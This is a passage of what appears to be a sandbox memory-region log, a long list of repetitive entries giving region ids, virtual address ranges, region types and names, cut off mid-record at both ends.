"pagefile_0x0000000000490000" filename = "" Region: id = 795 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 796 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 797 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 798 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 799 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 800 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 801 start_va = 0x1d50000 end_va = 0x1d63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 802 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 803 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 804 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 805 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 806 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 807 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 808 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 809 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 810 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 811 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 812 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 813 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 814 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 815 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 816 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 817 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 818 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 819 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 820 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 821 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 822 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 823 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 824 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 825 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 826 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 827 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 828 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 829 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 830 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 831 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 832 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 833 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 834 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 835 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 836 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 837 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 838 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 839 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 840 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 841 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 842 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 843 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 844 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 845 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 846 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 847 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 848 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 849 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 850 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 851 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 852 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 853 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 854 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 855 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 856 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 857 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 858 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 859 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 860 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 861 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 862 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 863 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 864 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 865 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 866 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 867 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 868 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 869 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 870 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 871 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 872 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 873 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 874 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 875 start_va = 0x1d50000 end_va = 0x1d63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 876 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 877 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 878 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 879 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 880 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 881 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 882 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 883 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 884 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 885 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 886 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 887 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 888 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 889 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 890 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 891 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 892 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 893 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 894 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 895 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 896 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 897 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 898 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 899 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 900 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 901 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 902 start_va = 0x1d50000 end_va = 0x1d63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 903 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 904 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 905 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 906 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 907 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 908 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 909 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 910 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 911 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 912 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 913 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 914 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 915 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 916 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 917 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 918 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 919 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 920 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 921 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 922 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 923 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 924 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 925 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 926 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 927 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 928 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 929 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 930 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 931 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 932 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 933 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 934 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 935 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 936 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 937 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 938 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 939 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 940 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 941 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 942 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 943 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 944 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 945 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 946 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 947 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 948 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 949 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 950 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 951 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 952 start_va = 0x1d50000 end_va = 0x1d61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 953 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 954 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 955 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 956 start_va = 0x1d50000 end_va = 0x1d61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 957 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 958 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 959 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 960 start_va = 0x1d50000 end_va = 0x1d61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 961 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 962 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 963 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 964 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 965 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 966 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 967 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 968 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 969 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 970 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 971 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 972 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 973 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 974 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 975 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 976 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 977 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 978 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 979 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 980 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 981 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 982 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 983 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 984 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 985 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = 